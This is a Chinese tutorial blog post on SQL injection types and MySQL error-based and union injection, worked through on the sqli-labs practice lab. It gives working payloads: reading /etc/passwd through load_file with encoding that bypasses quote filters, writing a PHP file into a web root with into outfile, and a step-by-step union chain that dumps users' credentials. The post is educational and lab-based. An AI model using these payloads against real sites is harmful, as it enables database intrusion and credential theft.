欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SQL注入原理与Mysql显错注入

程序员文章站 2022-05-15 08:30:06
...

SQL注入漏洞(SQL injection)是Web层面最高危的漏洞之一。在2008年至2010年期间,SQL注入漏洞连续3年在OWASP年度十大漏洞排行中排名第一。

在2005年前后,SQL注入漏洞注入漏洞到处可见,在用户登录或者搜索时,只需输入一个单引号就可以检测出这种漏洞。随着Web应用程序的安全性不断提高,sql注入漏洞逐渐减少,同时也变得更加难以检测与利用。

SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有 MySQL,MS SQL ,Oracle 以及 Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险是,在拼接 sql 语句的时候,我们可以改变 sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的 sql注入。
PS:我这里sql注入系列以sqli-libs为靶场。

sql注入漏洞分类

在测试注入漏洞之前,首先要弄个清楚一个概念:注入的分类。明白了分类之后,在测试注入将起到事半功倍的效果。

我在这里将常见的SQL注入分为两种:数字型和字符型。也有人把类型分得更多,更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用用户输入的数据代入数据库执行,利用数据库的特性获取更多信息或者更大权限。

数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种,假设有URL为
HTTP://www.xxser.com/test.php?id=8,可以猜测sql语句为:
select * from table where id=8
测试步骤如下:
1、HTTP://www.xxser.com/test.php?id=8’
SQL语句为:select * from table where id=8’ 这样的语句肯定会出错,导致脚本程序无法从数据库中正常获取数据,从而使原来页面出现异常。
2、HTTP://www.xxser.com/test.php?id=8 and 1=1
SQL语句为select * from table where id=8 and 1=1 语句执行正常返回数据与原始请求无任何差异。
3、HTTP://www.xxser.com/test.php?id=8 and 1=2
SQL语句变为select * from table where id=8 and 1=2
语句执行正常。但却无法查询数据,因为“and 1=2”始终为假。所以返回数据与原始数据请求有差异。
这种数字型注入最多是出现在PHP、ASP等 弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1 则会推导为string类型,这是弱类型语言得特性。而对于Java、C这类型的强类型语言,如果试图把一个字符串转为int类型,则会抛出异常,无法继续执行。所以,强类型语言很少存在数字型注入漏洞,强类型语言在这方面比弱类型语言有优势。

字符型注入

当输入参数为字符串使,称为字符型。数字型与字符型注入最大的区别在不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
例如: select * from table where username=‘admin’
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
当查询内容为字符串时,sql代码如下:
select * from table wehre username=‘admin’
当攻击者进行sql注入时,如果输入"admin adn 1=1",则无法进行注入。因为"admin and 1=1"会被数据库当做查询的字符串,SQL语句如下:
select * from table where username=‘admin and 1=1’
这时想要进行注入,则必须注意字符串闭合的问题。如果输入"admin’ and 1=1 --"就可以继续注入,SQL语句如下:
select * from table where username = ‘admin’ and 1=1 --’
只要是字符串类型注入,都必须闭合单引号以及注释多余的代码。例如,update语句:
update person set username=‘username’,set password=’’+(select @@version)+’‘where id=1
利用两次单引号闭合完成sql注入。
注:数据库不同,字符串连接符不同,如SQL Server连接符号为“+”,Oracle连接符为“||”,Mysql连接符为空格。
例如Insert语句:
Insert into users(username,password,title) values(‘username’,‘password’,‘title’)
当注入title字段时,可以像update注入一样,直接使用以下SQL语句:
Insert into users(username,password,title) values(‘username’,‘password’,’’+(select @@version)+’’)
这里把SQL注入只分为数字型和字符型,但是很多人会不会问不是还有Cookie注入,POST注入、盲注、延时注入,其实这些都是以上两大类额不同展示形式,后者不同的展现位置罢了。
这里把SQL注入分为数字型和字符型是因为数据库进行数据查询时,输入数据一般只有两种方式:一个是数字型,比如where id=1、where age>20,另一个是字符串类型,比如where name=‘root’、where datetime>‘2013-08-18’。可能不同的数据库比较方式不一样,但带入数据库查询时一定是字符串,所以,无论是POST注入、还是其他类型注入,都可归纳为数字型注入或者字符型注入。
严格的说,数字也是字符串,在数据库找那个进行查询时,where id='1’也是合法的,只不过在查询条件为数字时一般不会加单引号。
以下是一些常见的注入叫法:
POST注入:注入字段在POST数据中;
Cookie注入:注入字段在Cookie数据中;
延时注入:使用数据库延时特性注入;
搜索注入:注入处为搜索地点;
base64注入:注入字符需要经过base64加密;

Mysql显错注入

MySQL自带信息库

Mysql5.0以上的版本提供了INFORMATION_SCHEMA库,这是mysql自带的一个信息数据库,它提供了访问数据库元数据的方式。
information_schema库下存放着数据库对象相关概要信息,比如字符集、引擎、数据库、数据表、视图、列、权限等,其中有重要的三个表,分别是:

(1) schemata表,存放着MySQL数据库下所有库的信息,show databases命令的结果就是来自于这个表。此表有五列,分别是:catalog_name、schema_name、default_character_set_name、default_collation_name、sql_path,其中schema_name列存储的就是MySQL数据库下所有库的名字(爆数据库名用到此表);

(2) tables表,此表提供了关于数据库中的表的信息(包括视图),重要的两个列,一是table_schema:表所属数据库的名字,二是 table_name:表的名字(爆表名就要用到此表)。

(3) columns表,此表提供了表中列的信息,详细表述了某张表的所有列以及每个列的信息,重要的三个列,一是table_schema:字段所属数据库的名字,二是table_name:字段所属数据表的名字,三是column_name:字段的名字(用此表爆字段名)。
SQL注入原理与Mysql显错注入

SQL注入常用函数

order by

微软解释order by:为select查询的列排序,如果同时指定了top关键字,order by 在视图、内联函数、派生表和子查询中无效。
攻击者可以通过order by排序来查询表中有几个字段。
SQL注入原理与Mysql显错注入
这个表有三个字段,我们使用order by 来查询一下。
SQL注入原理与Mysql显错注入
尝试大于3的字段数量,因为小于等于3的话,order by会根据数字来对第几个字段进行排序。
SQL注入原理与Mysql显错注入
报错,没有第四个字段,这样order by 就可以用来查询字段数。

union查询

union关键字将两个或者更多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION查询,如Mysql、SQL Server、Oracle、DB2等。下面列出使用union合并两个查询结果集的基本规则。
1、所有查询中的列数必须相同
2、数据类型必须兼容。
SQL注入原理与Mysql显错注入
当查询中的列数不相同时
SQL注入原理与Mysql显错注入

查询系统信息函数

version()

SQL注入原理与Mysql显错注入
返回mysql版本

user()

SQL注入原理与Mysql显错注入
查看当前使用的数据库的用户

database()

SQL注入原理与Mysql显错注入
查看当前使用的数据库

@@datadir

SQL注入原理与Mysql显错注入
列出数据库的绝对路径

@@version_compile_os

SQL注入原理与Mysql显错注入
获取当前操作系统版本信息

load_file()

使用MySQL读取磁盘文件是非常简单的,MySQL提供了load_file函数,可以帮助用户快速的读取文件,但文件的位置必须在服务器上,文件必须全为路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet字节(默认16MB,最大1GB)
SQL语句如下:
union select 1,load_file(’/etc/password’),3,4,5,6 #
通常,一些防注入语句不允许出现单引号,可以转换成十六进制
“etc/password”的十六进制转换结果为“0x2f6574632f70617373776f7264”,那么就可以使用以下语句绕过:
union select 1,load_file(0x2f6574632f70617373776f7264),3,4,5,6 #
也可使用char()函数将ascii转换为字符串。
union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5,6 #
也可使用hex()函数转换为十六进制。
select hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));

into outfile()

MySQL提供了向磁盘写入文件的操作,与load_file()一样,必须持有FILE权限,并且文件必须为全路径名称。
写入文件:
select ‘<?php phpinfo(); ?>’ into outfile ‘c:\wwwroot\1.php’
select char(99,58,92,50,46,116,120,116) into outfile ‘c:\wwwroot\1.php’

concat()

连接字符串函数,在MySQL查询中,如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
1、caoncat()函数
select name from student where id=1 union select concat(user(),’-----’,database(),’-----’,version());
SQL注入原理与Mysql显错注入

concat_ws()

如果觉得caocat(user(),0xzc,database(),0x2c,version())比较麻烦,可以使用caoncat_ws()它比concat()函数更简洁。如:
select name from student where id=1 union select caoncat_ws(0x2c,user(),database(),version());
0x2c是十六进制的逗号。
SQL注入原理与Mysql显错注入

updatexml()

union select updatexml(1,(concat(0x7c,(select @@datadir))),1)–+
SQL注入原理与Mysql显错注入

extractvalue()

union select extractvalue(1,concat(0x7c,(select user())))–+
SQL注入原理与Mysql显错注入

mysql先错注入基本流程

SQL注入原理与Mysql显错注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

为了方便理解这里把源码贴进来,可以看到这里使用的单引号,对单引号进行过滤。
SQL注入原理与Mysql显错注入

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1--+

成功绕过,and 1=1并没有报错。证明and 1=1被带入执行。
接下来查询这张表有个字段,经过测试,查出3个字段。

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3--+

SQL注入原理与Mysql显错注入
使用联合查询,判断回显点。

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=2 union select 1,2,3 --+

SQL注入原理与Mysql显错注入
2,3的位置有回显。
注意:使用union联合查询函数,必须使union前面的表达式为假,后面的注入语句才可以执行,这里使用 and 1=2永为假
然后使用group_concat、concat()、或者concat_ws()等字符串连接函数,查询当前数据库用户,mysql版本、当前使用的数据库。

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=2 union select 1,concat(user(),'---',version(),'---',database()),3--+

SQL注入原理与Mysql显错注入
当前数据库已经知道了,查一下这台服务器上的所有数据库。

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

SQL注入原理与Mysql显错注入
然后查security库的所有表。

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

SQL注入原理与Mysql显错注入
接着查敏感表users表中有哪些字段。

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

SQL注入原理与Mysql显错注入
最后查username和password字段的内容。

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users--+

SQL注入原理与Mysql显错注入
ok显错注入就到这里。

相关标签: Web基础学习